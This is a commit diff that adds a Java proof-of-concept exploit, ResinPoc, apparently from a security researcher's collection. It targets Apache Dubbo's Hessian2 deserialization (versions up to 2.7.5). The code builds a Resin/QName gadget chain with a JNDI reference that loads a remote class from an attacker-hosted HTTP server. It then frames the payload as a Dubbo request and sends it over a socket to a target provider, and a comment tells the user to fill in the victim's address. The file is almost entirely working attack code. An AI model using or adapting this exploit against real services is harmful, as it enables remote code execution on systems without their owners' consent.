|
| 1 | +package com.threedr3am.bug.dubbo; |
| 2 | + |
| 3 | +import com.caucho.hessian.io.Hessian2Output; |
| 4 | +import com.caucho.naming.QName; |
| 5 | +import com.threedr3am.bug.server.HTTPServer; |
| 6 | +import com.threedr3am.bug.support.NoWriteReplaceSerializerFactory; |
| 7 | +import com.threedr3am.bug.utils.Reflections; |
| 8 | +import com.threedr3am.bug.utils.ToStringUtil; |
| 9 | +import java.io.ByteArrayOutputStream; |
| 10 | +import java.io.OutputStream; |
| 11 | +import java.lang.reflect.Constructor; |
| 12 | +import java.net.Socket; |
| 13 | +import java.util.HashMap; |
| 14 | +import java.util.Hashtable; |
| 15 | +import java.util.Random; |
| 16 | +import javax.naming.CannotProceedException; |
| 17 | +import javax.naming.Reference; |
| 18 | +import javax.naming.directory.DirContext; |
| 19 | +import org.apache.dubbo.common.io.Bytes; |
| 20 | +import org.apache.dubbo.common.serialize.Cleanable; |
| 21 | + |
| 22 | +/** |
| 23 | + * dubbo 默认配置,即hessian2反序列化,都可RCE(dubbo版本<=2.7.5) |
| 24 | + * |
| 25 | + * Spring和Spring boot环境下都能打 |
| 26 | + * |
| 27 | + * <dependency> |
| 28 | + * <groupId>com.caucho</groupId> |
| 29 | + * <artifactId>quercus</artifactId> |
| 30 | + * <version>4.0.45</version> |
| 31 | + * </dependency> |
| 32 | + * |
| 33 | + * @author threedr3am |
| 34 | + */ |
| 35 | +public class ResinPoc { |
| 36 | + |
| 37 | + static { |
| 38 | + HTTPServer.run(null); |
| 39 | + } |
| 40 | + |
| 41 | + public static void main(String[] args) throws InterruptedException { |
| 42 | + try { |
| 43 | + Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$ |
| 44 | + Constructor<?> ccCons = ccCl |
| 45 | + .getDeclaredConstructor(CannotProceedException.class, Hashtable.class); |
| 46 | + ccCons.setAccessible(true); |
| 47 | + CannotProceedException cpe = new CannotProceedException(); |
| 48 | + Reflections.setFieldValue(cpe, "cause", null); |
| 49 | + Reflections.setFieldValue(cpe, "stackTrace", null); |
| 50 | + |
| 51 | + cpe.setResolvedObj(new Reference("Foo", "Calc", "http://127.0.0.1:8080/")); |
| 52 | + |
| 53 | + Reflections.setFieldValue(cpe, "suppressedExceptions", null); |
| 54 | + DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>()); |
| 55 | + QName qName = new QName(ctx, "foo", "bar"); |
| 56 | + |
| 57 | + Object o = ToStringUtil.makeToStringTrigger(qName); |
| 58 | + |
| 59 | + ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); |
| 60 | + |
| 61 | + // header. |
| 62 | + byte[] header = new byte[16]; |
| 63 | + // set magic number. |
| 64 | + Bytes.short2bytes((short) 0xdabb, header); |
| 65 | + // set request and serialization flag. |
| 66 | + header[2] = (byte) ((byte) 0x80 | 2); |
| 67 | + |
| 68 | + // set request id. |
| 69 | + Bytes.long2bytes(new Random().nextInt(100000000), header, 4); |
| 70 | + |
| 71 | + ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream(); |
| 72 | + ByteArrayOutputStream hessian2ByteArrayOutputStream2 = new ByteArrayOutputStream(); |
| 73 | + ByteArrayOutputStream hessian2ByteArrayOutputStream3 = new ByteArrayOutputStream(); |
| 74 | + Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream); |
| 75 | + Hessian2Output out2 = new Hessian2Output(hessian2ByteArrayOutputStream2); |
| 76 | + Hessian2Output out3 = new Hessian2Output(hessian2ByteArrayOutputStream3); |
| 77 | + NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory(); |
| 78 | + sf.setAllowNonSerializable(true); |
| 79 | + out2.setSerializerFactory(sf); |
| 80 | + |
| 81 | + //todo 经测试,以下4个随意填 |
| 82 | + //注册中心获取到的service全限定名、版本号、方法名 |
| 83 | + out.writeString("2.0.2"); |
| 84 | + out.writeString("com.threedr3am.learn.server.boot.DemoService"); |
| 85 | + out.writeString("1.0"); |
| 86 | + out.writeString("hello"); |
| 87 | + //todo 方法描述不需要修改,因为此处需要指定map的payload去触发 |
| 88 | + out.writeString("Ljava/util/Map;"); |
| 89 | + out.flushBuffer(); |
| 90 | + if (out instanceof Cleanable) { |
| 91 | + ((Cleanable) out).cleanup(); |
| 92 | + } |
| 93 | + |
| 94 | + out2.writeObject(o); |
| 95 | + out2.flushBuffer(); |
| 96 | + if (out2 instanceof Cleanable) { |
| 97 | + ((Cleanable) out2).cleanup(); |
| 98 | + } |
| 99 | + |
| 100 | + out3.writeObject(new HashMap()); |
| 101 | + out3.flushBuffer(); |
| 102 | + if (out3 instanceof Cleanable) { |
| 103 | + ((Cleanable) out3).cleanup(); |
| 104 | + } |
| 105 | + |
| 106 | + Bytes.int2bytes(hessian2ByteArrayOutputStream.size() + hessian2ByteArrayOutputStream2.size() |
| 107 | + + hessian2ByteArrayOutputStream3.size(), header, 12); |
| 108 | + byteArrayOutputStream.write(header); |
| 109 | + byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); |
| 110 | + byteArrayOutputStream.write(hessian2ByteArrayOutputStream2.toByteArray()); |
| 111 | + byteArrayOutputStream.write(hessian2ByteArrayOutputStream3.toByteArray()); |
| 112 | + |
| 113 | + byte[] bytes = byteArrayOutputStream.toByteArray(); |
| 114 | + |
| 115 | + //todo 此处填写被攻击的dubbo服务提供者地址和端口 |
| 116 | + Socket socket = new Socket("127.0.0.1", 20880); |
| 117 | + OutputStream outputStream = socket.getOutputStream(); |
| 118 | + outputStream.write(bytes); |
| 119 | + outputStream.flush(); |
| 120 | + outputStream.close(); |
| 121 | + } catch (Exception e) { |
| 122 | + e.printStackTrace(); |
| 123 | + } |
| 124 | + } |
| 125 | +} |
0 commit comments